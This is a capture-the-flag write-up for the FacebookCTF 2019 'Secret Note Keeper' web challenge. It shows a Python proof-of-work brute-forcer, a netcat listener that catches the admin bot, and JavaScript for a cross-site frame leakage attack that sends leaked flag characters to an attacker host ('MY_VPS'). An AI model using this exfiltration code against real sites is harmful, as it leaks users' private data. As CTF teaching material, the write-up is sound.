FacebookCTF 2019 - Secret Note Keeper (Web)

- 7 mins


We are given a link and a description of the challenge:

Find the secret note that contains the fl4g!


When we visit the link, we are presented by a simple page with multiple features:

We can register for an account and login to access those features. With the All Notes feature, we can add a secret note and then view it in the Search Notes page:

The Search Notes page will load the result of the search in a subdocument as an iframe:

The last feature allows us to report bugs which could possibly be viewed by an admin:

Reporting a bug

After testing all the features for IDOR vulnerabilities, XSS and SQLi, I decided to give the bug report feature a look. In order to send a bug report, we are required to send a Proof of Work along with the POST request.

Thankfully, we are given the recipe for the PoW:

proof of work for f761c (proof of work is first 5 chars of md5(plain_text)) You should supply the plain-text.

The 5 alphanumeric values would change randomly everytime you would visit/refresh the page. We can quickly see that a pow cookie is assigned and its first 5 characters are identical as those reflected on the page:

Cookie: session=.eJwljjEOwzAIRe_CnAGwMXYuExkMaqVOiTpVvXsj9est703_A0eecT1gz_m6YoPjuWAHS3JCG80ZG6mNwWlYb3I6qhaKKSQ9WGqUnDLIGvZl0WbwUpSp2hf3nOa3oRO1KiFW3bjxvFd0NV_SMwRZvXQqd9cRfVTY4H3F-T9DjPD9ASFwL5k.XPRBLA.nUs2XkIBHOxuBLm9lQjK6mUnl70; pow=f761c\_559514927:03fed4d2fd1f059dbbc9fd165d36c2ec

We can write a quick Python script to find the plain-text that needs to be supplied to the POST request:

  1. Send a GET request to /report_bugs
  2. Grab the first 5 characters of the pow cookie
  3. Generate random 5 character alphanumeric strings
  4. Calculate the MD5 hash of the random strings
  5. Compare the first 5 characters of the MD5 hashes to the first 5 characters of the pow cookie until a match is found
  6. Send the bug report with the 5 character plain-text string
import random, requests, hashlib, string

cookies = {'session':'.eJwNiNsNAyEMwHZhgiSQB7fMKS-kzlB192L5x_6O91PjGXEwEWJLEghq7E0nYF2PJ6hObGdka-LV8zhvDAGraPGmUmBXtSI7HnkLElEWN8fKICG_TC3JYjvNQJrTcN6vu22v8fsDUsUmAQ.XPP4qw.huHkuOh7-C4ohabgp0alIx5wfcU'}
session = requests.Session()
response = session.get('http://challenges.fbctf.com:8082/report_bugs',cookies=cookies)
sdict = session.cookies.get_dict()
pow = list(sdict.values())[0][:5]

print ('POW obtained by remote server: '+pow)
md = 'espresso'

while md not in pow:
    x = ''.join(random.choices(string.ascii_letters + string.digits, k=5))
    md = hashlib.md5(x.encode('utf-8')).hexdigest()[:5]
    if md in pow:
        data = {'title':'allo','body':'allo','link':'http://MY_VPS/lol.html','pow_sol':str(x)}
        print ('Plaintext POW found: '+x+' for '+pow)
        print ('Full cookie: '+str(sdict))

Executing the script will create a bug report and we will get a nice little 4-5 second visit from the admin. Usually, those kind of challenges use a headless browser like PhantomJS or Google’s Puppeteer to simulate a user doing some action on a browser. To know for sure, we can check the User-Agent header:

coffee@winterfell:/tmp$ sudo nc -nlvp 80
Listening on [] (family 0, port 80)
Connection from [] port 80 [tcp/*] accepted (family 2, sport 36962)
GET /lol.html HTTP/1.1
Host: MY_VPS
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/74.0.3729.169 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate

Great. The User-Agent header tells us it’s a HeadlessChrome browser.

IFrames, a coincidence? I think not.

  1. There is no sign of XSS anywhere
  2. Although the app is vulnerable to CSRF, there is no feature that could be exploited by a CSRF attack to get the flag
  3. No presence of an ACAO header on the server to exploit CORS and leak the admin’s notes
  4. The bot/admin does not visit our website long enough for a DNS rebinding attack to occur in order to bypass SOP

It is however possible to frame every page of the app, and since the Search Notes page will load the results of the search in a subdocument as an iframe, we can proceed to a browser-based side channel attack. Therefore, we send the admin our link to a website which contains an iframe and JS which will exploit a CSFL attack.

Cross-Site Frame Leakage is a side-channel attack, performed on an end user’s web browser, that exploits the cross-origin properties of iframe elements to determine the state of a vulnerable application.

Source: Imperva - Browser-Based Side-Channel Attack

Exploiting a CSFL vulnerability

Since SOP is blocking us, there are multiple ways to infer what information or data is present in an iframe through event handling, load time measuring, scrollbars, relative positioning, etc.

In our case, since the search feature opens an iframe in the response for every valid search result, we can abuse this feature to determine if a specific character is present in the admin’s notes.

Here’s an example :

All that’s left to do is to write some Javascript that will send search queries within iframes and loop through a set of characters. When an iframe’s length/size becomes longer after a search query, we will know that we’ve found a valid character in the admin’s notes.

To do so, we could either check the scrollbar length variation or count the number of frame instances in each opened frame. Let’s do the latter.

To make sure the PoC exploit was working fine, we need to test it on our own account. We can create a note and visit our own malicious website :

As we can see above, one iframe is longer than the others because it contains a valid search query in the form of an iframe (the next valid character in the string’s sequence). Using the code below, we can figure out, character by character, the flag in the admin’s notes:

    flag = 'fb{'
    exfil = 'http://MY_VPS/?flag='
    query = 'http://challenges.fbctf.com:8082/search?query='
    chars = 'abcdefghijklmnopqrstuvwxyz0123456789<!{}|_'
    size = chars.length
    function count(i) {
      if (window.frames[i].frames.length > 0) {
        fetch(exfil + encodeURI(flag + chars.charAt(i)))
    for (var i=0; i<size; i++) {
      var frame = document.createElement('iframe')
      frame.setAttribute('src', query + encodeURI(flag + chars.charAt(i)))
      frame.setAttribute('onload', `count(${i})`)

However, we need to resend the admin/bot our malicious link everytime we get 1-2 valid characters because he only spends about 5 seconds on our website. Pretty sure someone out there found a way to automate the exfiltration with a single bot visit though!

After the exfiltration is complete, the web server logs should contain the flag:


This challenge took me way longer than I expected to finish but it was super fun and I learned a ton about this type of vulnerability!

Thank you Facebook for a great and challenging CTF and thanks for reading! :)



Just a guy who enjoys coffee and breaking things

rss facebook twitter github youtube mail spotify lastfm instagram linkedin google google-plus pinterest medium vimeo stackoverflow reddit quora quora